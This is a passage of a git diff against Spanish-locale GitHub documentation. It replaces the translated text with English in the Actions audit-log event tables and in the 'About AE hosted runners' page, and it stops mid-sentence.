ghes or ghec %} -### Eventos para cambios de configuración -| Acción | Descripción | -| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `repo.actions_enabled` | Se activa cuando {% data variables.product.prodname_actions %} se habilita en un repositorio. Puede visualizarse utilizando la IU. Este evento no es visible cuando accedes a la bitácora de auditoría utilizando la API de REST. Para obtener más información, consulta la sección "[Utilizar la API de REST](#using-the-rest-api)". | +### Events for configuration changes +| Action | Description +|------------------|------------------- +| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)." {% endif %} -### Eventos para la administración de secretos -| Acción | Descripción | -| ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `org.create_actions_secret` | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se crea para una organización. Para obtener más información, consulta la sección "[Crear secretos cifrados para una organización](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)". | -| `org.remove_actions_secret` | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se elimina. | -| `org.update_actions_secret` | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se actualiza. | -| `repo.create_actions_secret` | Se crea cuando un secreto de {% data variables.product.prodname_actions %} se crea para un repositorio. Para obtener más información, consulta la sección "[Crear secretos cifrados para un repositorio](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)". | -| `repo.remove_actions_secret` | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se elimina. | -| `repo.update_actions_secret` | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se actualiza. | +### Events for secret management +| Action | Description +|------------------|------------------- +| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)." +| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. +| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)." +| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed. +| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated. -### Eventos para ejecutores auto-hospedados -| Acción | Descripción | -| ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `enterprise.register_self_hosted_runner` | Se crea cuando se registra un ejecutor auto-hospedado nuevo. Para obtener más información, consulta la sección "[Agregar un ejecutor auto-hospedado a una empresa](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)". | -| `enterprise.remove_self_hosted_runner` | Se activa cuando se elimina un ejecutor auto-hospedado. | -| `enterprise.runner_group_runners_updated` | Se activa cuando la lista de miembros de un grupo de ejecutores se actualiza. Para obtener más información, consulta la sección "[Configurar los ejecutores auto-hospedados en un grupo para una organización](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)". {% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `enterprise.self_hosted_runner_online` | Se activa cuando la aplicación del ejecutor se inicia. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | -| `enterprise.self_hosted_runner_offline` | Se activa cuando se detiene la aplicación del ejecutor. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %} -| `enterprise.self_hosted_runner_updated` | Se activa cuando se actualiza la aplicación ejecutora. Puede visualizarse utilizando la API de REST y la IU. Este evento no se incluye cuando exportas la bitácora de auditoría como datos de JSON o como un archivo de CSV. Para obtener más información, consulta las secciones "[Acerca de los ejecutores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" y "[Revisar la bitácora de auditoría en tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)". | -| `org.register_self_hosted_runner` | Se crea cuando se registra un ejecutor auto-hospedado nuevo. Para obtener más información, consulta la sección "[Agregar un ejecutor auto-hospedado a una organización](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)". | -| `org.remove_self_hosted_runner` | Se activa cuando se elimina un ejecutor auto-hospedado. Para obtener más información, consulta la sección [Eliminar a un ejecutor de una organización](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). | -| `org.runner_group_runners_updated` | Se activa cuando se actualiza la lista de miembros de un grupo de ejecutores. Para obtener más información, consulta la sección "[Configurar ejecutores auto-hospedados en un grupo para una organización](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)". | -| `org.runner_group_updated` | Se activa cuando se cambia la configuración de un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[cambiar la política de acceso de un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)".{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `org.self_hosted_runner_online` | Se activa cuando la aplicación del ejecutor se inicia. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | -| `org.self_hosted_runner_offline` | Se activa cuando se detiene la aplicación del ejecutor. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %} -| `org.self_hosted_runner_updated` | Se activa cuando se actualiza la aplicación ejecutora. Se puede ver utilizando la API de REST y la IU; no se puede ver en la exportación de JSON/CSV. Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." | -| `repo.register_self_hosted_runner` | Se crea cuando se registra un ejecutor auto-hospedado nuevo. Para obtener más información, consulta la sección "[Agregar un ejecutor auto-hospedado a un repositorio](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)". | -| `repo.remove_self_hosted_runner` | Se activa cuando se elimina un ejecutor auto-hospedado. Para obtener más información, consulta la sección "[Eliminar un ejecutor de un repositorio](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)".{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `repo.self_hosted_runner_online` | Se activa cuando la aplicación del ejecutor se inicia. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | -| `repo.self_hosted_runner_offline` | Se activa cuando se detiene la aplicación del ejecutor. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %} -| `repo.self_hosted_runner_updated` | Se activa cuando se actualiza la aplicación ejecutora. Se puede ver utilizando la API de REST y la IU; no se puede ver en la exportación de JSON/CSV. Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." | +### Events for self-hosted runners +| Action | Description +|------------------|------------------- +| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)." +| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. +| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)." +| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)." +| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization). +| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." +| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." +| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %} +| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)." -### Eventos para grupos de ejecutores auto-hospedados -| Acción | Descripción | -| ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `enterprise.runner_group_created` | Se activa cuando se crea un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[Crear un grupo de ejecutores auto-hospedados para una empresa](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)". | -| `enterprise.runner_group_removed` | Se activa cuando se elimina un grupo de ejecutores auto-hospedado. Para obtener más información, consulta la sección "[Eliminar un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)". | -| `enterprise.runner_group_runner_removed` | Se activa cuando se utiliza la API de REST para eliminar un ejecutor auto-hospedado de un grupo. | -| `enterprise.runner_group_runners_added` | Se activa cuando se agrega un ejecutor auto-hospedado a un grupo. Para obtener más información, consulta la sección "[Mover un ejecutor auto-hospedado a un grupo](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)". | -| `enterprise.runner_group_updated` | Se activa cuando se cambia la configuración de un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[Cambiar la política de acceso para un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)". | -| `org.runner_group_created` | Se activa cuando se crea un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[Crear un grupo de ejecutores auto-hospedados para una organización](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)". | -| `org.runner_group_removed` | Se activa cuando se elimina un grupo de ejecutores auto-hospedado. Para obtener más información, consulta la sección "[Eliminar un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)". | -| `org.runner_group_updated` | Se activa cuando se cambia la configuración de un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[Cambiar la política de acceso para un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)". | -| `org.runner_group_runners_added` | Se activa cuando se agrega un ejecutor auto-hospedado a un grupo. Para obtener más información, consulta la sección "[Mover un ejecutor auto-hospedado a un grupo](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)". | -| `org.runner_group_runner_removed` | Se activa cuando se utiliza la API de REST para eliminar un ejecutor auto-hospedado de un grupo. Para obtener más información, consulta la sección "[Eliminar un ejecutor auto-hospedado de un grupo en una organización](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)". | +### Events for self-hosted runner groups +| Action | Description +|------------------|------------------- +| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)." +| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. +| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)." +| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)." +| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." +| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)." +| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." -### Eventos para las actividades de los flujos de trabajo +### Events for workflow activities {% data reusables.actions.actions-audit-events-workflow %} diff --git a/translations/es-ES/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md b/translations/es-ES/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md index c5bf07d00f..ef56c743ec 100644 --- a/translations/es-ES/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md +++ b/translations/es-ES/content/actions/using-github-hosted-runners/about-ae-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: Acerca de los ejecutores hospedados en AE -intro: '{% data variables.product.prodname_ghe_managed %} ofrece máquinas virtuales hospedadas, personalizables y con seguridad robustecida, para ejecutar los flujos de trabajo de {% data variables.product.prodname_actions %}. Puedes seleccionar el hardware, traer tu propia imagen de máquina, y habilitar una dirección IP para trabajar en red con tu {% data variables.actions.hosted_runner %}.' +title: About AE hosted runners +intro: '{% data variables.product.prodname_ghe_managed %} offers customizable and security hardened hosted virtual machines to run {% data variables.product.prodname_actions %} workflows. You can select the hardware, bring your own machine image, and enable an IP address for networking with your {% data variables.actions.hosted_runner %}.' versions: ghae: '*' --- @@ -8,98 +8,98 @@ versions: {% data reusables.actions.ae-hosted-runners-beta %} {% data reusables.actions.ae-beta %} -## Acerca de las {% data variables.actions.hosted_runner %} +## About {% data variables.actions.hosted_runner %}s -Un {% data variables.actions.hosted_runner %} es una máquina virtual que administra {% data variables.product.prodname_dotcom %} y que tiene instalado el servicio de ejecutor de {% data variables.product.prodname_actions %}. Los {% data variables.actions.hosted_runner %} de tu empresa son dedicados y puedes elegir de una amplia gama de opciones de hardware y software. Predeterminadamente, {% data variables.product.company_short %} administra y autoescala a los {% data variables.actions.hosted_runner %} integralmente para maximizar el rendimiento mientras que minimiza los costos.{% ifversion ghae-next %} Opcionalmente, puedes configurar los parámetros de este auto-escalamiento para reducir tus costos aún más.{% endif %} +An {% data variables.actions.hosted_runner %} is a virtual machine managed by {% data variables.product.prodname_dotcom %} with the {% data variables.product.prodname_actions %} runner service installed. {% data variables.actions.hosted_runner %}s are dedicated to your enterprise, and you can choose from a range of hardware and software options. By default, {% data variables.actions.hosted_runner %}s are fully managed and auto-scaled by {% data variables.product.company_short %} to maximize performance while minimizing costs.{% ifversion ghae-next %} You can optionally configure the parameters of this auto-scaling to reduce your cost even more.{% endif %} -{% data variables.product.prodname_ghe_managed %} te permite crear y personalizar {% data variables.actions.hosted_runner %}s utilizando imágenes de Ubuntu o de Windows; puedes seleccionar el tamaño de máquina que quieras y, opcionalmente, configurar un rango de IP públicas para tus {% data variables.actions.hosted_runner %}s. +{% data variables.product.prodname_ghe_managed %} lets you create and customize {% data variables.actions.hosted_runner %}s using Ubuntu or Windows images; you can select the size of machine you want and optionally configure a fixed public IP range for your {% data variables.actions.hosted_runner %}s. -Cada job del flujo de trabajo se ejecuta en una instancia nueva del {% data variables.actions.hosted_runner %} y puedes ejecutar flujos de trabajo directamente en la máquina virtual o en un contenedor de Docker. Todos los pasos del job se ejecutan en la misma instancia, permitiendo que las acciones en este job compartan información utilizando el sistema de archivos del {% data variables.actions.hosted_runner %}. +Each workflow job is executed in a fresh instance of the {% data variables.actions.hosted_runner %}, and you can run workflows directly on the virtual machine or in a Docker container. All steps in the job execute in the same instance, allowing the actions in that job to share information using the {% data variables.actions.hosted_runner %}'s filesystem. -Para agregar {% data variables.actions.hosted_runner %} a tu organización o empresa, consulta la sección ["Agregar {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/adding-ae-hosted-runners)". +To add {% data variables.actions.hosted_runner %}s to your organization or enterprise, see ["Adding {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/adding-ae-hosted-runners)." -## Asignaciones de agrupaciones para los {% data variables.actions.hosted_runner %} +## Pool assignments for {% data variables.actions.hosted_runner %}s -Tus {% data variables.actions.hosted_runner %} se distribuyen en la misma agrupación que tu instancia de {% data variables.product.prodname_ghe_managed %}. Ningún otro cliente tiene acceso a dicha agrupación y, como resultado, los {% data variables.actions.hosted_runner %} no se comparten con ningún otro cliente. +Your {% data variables.actions.hosted_runner %}s are allocated to the same pool as your {% data variables.product.prodname_ghe_managed %} instance. No other customers have access to this pool, and as a result, {% data variables.actions.hosted_runner %}s are not shared with any other customers. -## Administrar tus {% data variables.actions.hosted_runner %} +## Managing your {% data variables.actions.hosted_runner %}s -Durante el beta de los {% data variables.actions.hosted_runner %}, puedes administrar tus {% data variables.actions.hosted_runner %} si contactas al soporte de {% data variables.product.prodname_dotcom %}. Por ejemplo, el soporte de {% data variables.product.prodname_dotcom %} puede ayudarte para agregar un {% data variables.actions.hosted_runner %} nuevo, asignar etiquetas, o mover un {% data variables.actions.hosted_runner %} a un grupo diferente. +During the {% data variables.actions.hosted_runner %} beta, you can manage your {% data variables.actions.hosted_runner %}s by contacting {% data variables.product.prodname_dotcom %} support. For example, {% data variables.product.prodname_dotcom %} support can assist you with adding a new {% data variables.actions.hosted_runner %}, assigning labels, or moving a {% data variables.actions.hosted_runner %} to a different group. -## Facturación +## Billing -Una vez que termine el beta, el uso facturable incluirá el tiempo total de actividad para las instancias activas en tus conjuntos de ejecutores hospedados en AE. Esto incluye: -- Hora del job - minutos que se utilizaron ejecutando el job de las acciones. -- Administración - minutos gastados volviendo a hacer la imagen de las máquinas{% ifversion ghae-next %} y cualquier tiempo de inactividad que se cree como resultado del comportamiento de autoescalamiento deseado{% endif %}. +Once the beta ends, billed usage will include the full uptime of active instances in your AE hosted runner sets. This includes: +- Job time - minutes spent running Actions job. +- Management - minutes spent re-imaging machines{% ifversion ghae-next %} and any idle time created as a result of desired auto-scale behavior{% endif %}. -Los precios aumentarán linearmente con los núcleos. Por ejemplo, 4 núcleos costarán lo doble que 2 núcleos. Las MV de Windows tendrán un precio más alto que las de Linux. +Pricing will scale linearly with cores. For example, 4 cores will be twice the price of 2 cores. Windows VMs will be priced higher than Linux VMs. -## Especificaciones del Hardware +## Hardware specifications -Los {% data variables.actions.hosted_runner %} se encuentran disponibles en diversas máquinas virtuales hospedadas en Microsoft Azure. Dependiendo de la disponibilidad regional, puedes elegir entre `Standard_Das_v4`, `Standard_DS_v2`, `Standard_Fs_v2 series`. Algunas regiones también incluyen ejecutores de GPU basados en `Standard_NCs_v3`. +{% data variables.actions.hosted_runner %}s are available on a range of virtual machines hosted in Microsoft Azure. Depending on regional availability, you can choose from `Standard_Das_v4`, `Standard_DS_v2`, `Standard_Fs_v2 series`. Certain regions also include GPU runners based on `Standard_NCs_v3`. -Para obtener más información acercfa de los recursos de máquina de Azure, consulta la sección "[Tamaños de las máquinas virtuales en Azure](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes)" en la documentación de Microsoft Azure. +For more information about these Azure machine resources, see "[Sizes for virtual machines in Azure](https://docs.microsoft.com/en-gb/azure/virtual-machines/sizes)" in the Microsoft Azure documentation. -Para determinar quém ejecutor ejecutó un job, puedes revisar las bitácoras de flujo de trabajo. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)". +To determine which runner executed a job, you can review the workflow logs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)." -## Especificaciones de software +## Software specifications -Puedes utilizar los {% data variables.actions.hosted_runner %} con imágenes de sistema operativo estándar, o puedes agregar imágenes que hayas creado. +You can use {% data variables.actions.hosted_runner %}s with standard operating system images, or you can add images that you've created. -### Imágenes predeterminadas de sistema operativo +### Default operating system images -Estas imágenes solo incluyen las herramientas estándar del sistema operativo: +These images only include the standard operating system tools: - Ubuntu 18.04 LTS (Canonical) - Ubuntu 16.04 LTS (Canonical) - Windows Server 2019 (Microsoft) - Windows Server 2016 (Microsoft) -### Imágenes personalizadas de sistema operativo +### Custom operating system images -Puedes crear tus propias imágenes de SO en Azure y agregarlas a {% data variables.product.prodname_ghe_managed %} en forma de {% data variables.actions.hosted_runner %}. Para obtener más información, consulta la sección "[Agregar un {% data variables.actions.hosted_runner %} con una imagen personalizada"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). +You can create your own OS images in Azure and have them added to {% data variables.product.prodname_ghe_managed %} as {% data variables.actions.hosted_runner %}s. For more information, see "[Adding an {% data variables.actions.hosted_runner %} with a custom image"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). -## Especificaciones de red +## Network specifications -Opcionalmente, puedes habilitar una dirección IP estática pública para tu {% data variables.actions.hosted_runner %}. Si se habilitan, todos los {% data variables.actions.hosted_runner %} en tu instancia compartirán un rango de 2 a 4 direcciones IP y se comunicarán utilizando los puertos de esas direcciones. +You can optionally enable a fixed static public IP address for your {% data variables.actions.hosted_runner %}s. If enabled, all {% data variables.actions.hosted_runner %}s in your instance will share a range of 2 to 4 IP addresses, and will communicate using ports on those addresses. -Si no habilitas las direcciones IP estáticas públicas, entonces tus {% data variables.actions.hosted_runner %} tendrán los mismos rangos de direcciones IP que los centros de datos de Azure subsecuentemente. Los paquetes entrantes de ICMP se bloquearán, por lo tanto, no se espera que funcionen los comandos de `ping` o `traceroute`. +If you don't enable static public IP addresses, then your {% data variables.actions.hosted_runner %}s will subsequently have the same IP address ranges as the Azure datacenters. Inbound ICMP packets are blocked, so `ping` or `traceroute` commands are not expected to work. -Para obtener una lista de rangos de direcciones IP que utilizan las {% data variables.product.prodname_actions %} para los {% data variables.actions.hosted_runner %}, puedes utilizar la API de REST de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la clave `actions` en la respuesta de la terminal de [Obtener información meta de GitHub](/rest/reference/meta#get-github-meta-information)". Puedes utilizar esta lista de direcciones IP si requieres prevenir acceso no autorizados a tus recursos internos mediante una lista de direcciones IP permitidas. +To get a list of IP address ranges that {% data variables.product.prodname_actions %} uses for {% data variables.actions.hosted_runner %}s, you can use the {% data variables.product.prodname_dotcom %} REST API . For more information, see the `actions` key in the response of the "[Get GitHub meta information](/rest/reference/meta#get-github-meta-information)" endpoint. You can use this list of IP addresses if you require an allow-list to prevent unauthorized access to your internal resources. -La lista de direcciones IP permitidas de {% data variables.product.prodname_actions %} que devuelve la API se actualiza una vez por semana. +The list of {% data variables.product.prodname_actions %} IP addresses returned by the API is updated once a week. {% ifversion ghae-next %} -## Autoescalamiento +## Autoscaling -{% data variables.product.company_short %} administra cada agrupamiento de {% data variables.actions.hosted_runner %}s integralmente para maximizar el rendimiento mientras que minimiza los costos. Opcionalmente, puedes configurar los parámetros de auto-escalamiento para tu empresa si contactas a {% data variables.contact.github_support %}. Puedes definir la cantidad mínima de ejecutores inactivos y qué tanto deberían estar inactivos antes de eliminarlos de la agrupación. Cada agrupación puede contener hasta 600 ejecutores. +Each pool of {% data variables.actions.hosted_runner %}s is fully managed by {% data variables.product.company_short %} to maximize performance while minimizing costs. Optionally, you can configure the autoscaling parameters for your enterprise by contacting {% data variables.contact.github_support %}. You can define the minimum number of idle runners and how long a runner should remain idle before being removed from the pool. Each pool can contain up to 600 runners. {% endif %} -## Privilegios adminsitrativos para los {% data variables.actions.hosted_runner %} +## Administrative privileges for {% data variables.actions.hosted_runner %}s -Las máquinas virtuales Linux se ejecutan utilizando un `sudo` sin contraseña. Cuando necesitas ejecutar comandos o instalar herramientas que requieren más privilegios que el usuario actual, puedes usar `sudo` sin la necesidad de brindar una contraseña. Para obtener más información, consulta "[Manual de sudo](https://www.sudo.ws/man/1.8.27/sudo.man.html)." +The 